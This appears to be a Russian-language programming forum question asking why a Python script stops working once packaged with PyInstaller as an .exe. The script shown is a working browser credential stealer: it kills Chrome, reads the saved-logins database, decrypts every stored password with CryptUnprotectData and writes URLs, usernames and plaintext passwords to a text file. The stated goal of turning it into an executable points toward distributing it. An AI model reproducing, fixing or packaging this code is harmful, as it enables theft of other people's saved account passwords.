Не могу запустить скрипт как .exe, но он работает как файл py - PullRequest
2 голосов
/ 20 февраля 2020

Я скачал pyinstaller, чтобы превратить мои python сценарии в исполняемую программу. Когда я запускаю свой код как файл python, в третьей строке import win32crypt появляется только одна ошибка, и он показывает 'error unresolved import 'win32crypt', но он работает правильно. Но когда я конвертирую свой скрипт в приложение (файл .exe), он не работает (без сообщения об ошибке). Мой скрипт сделан для копирования из Google Chrome email / пароля и после этого для вставки этой информации в текстовый файл.

Я уже установил pywin32 из консоли с этой командой: pip install pywin32. \

Это мой код .

import os
import sqlite3
import win32crypt

f= open("logins.txt","w")

def closeChrome():
    os.system("taskkill /im chrome.exe /f")
def connectDb():
    dBpath=os.path.expanduser("~")+r'\AppData\Local\Google\Chrome\User Data\Default\Login Data'
    connectionObj=sqlite3.connect(dBpath)
    cursorObj=connectionObj.cursor()
    statement="SELECT origin_url,username_value,password_value FROM logins"
    cursorObj.execute(statement)
    data=cursorObj.fetchall()
    for url,username,password in data:
        password=win32crypt.CryptUnprotectData(password)
        f.write(f"url: {url},  username: {username},  password: {password[1].decode('utf-8')}\n")
        print(f"url: {url},  username: {username},  password: {password[1].decode('utf-8')}\n") 
        print(".................................")


closeChrome()    
connectDb()

Спасибо:)

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...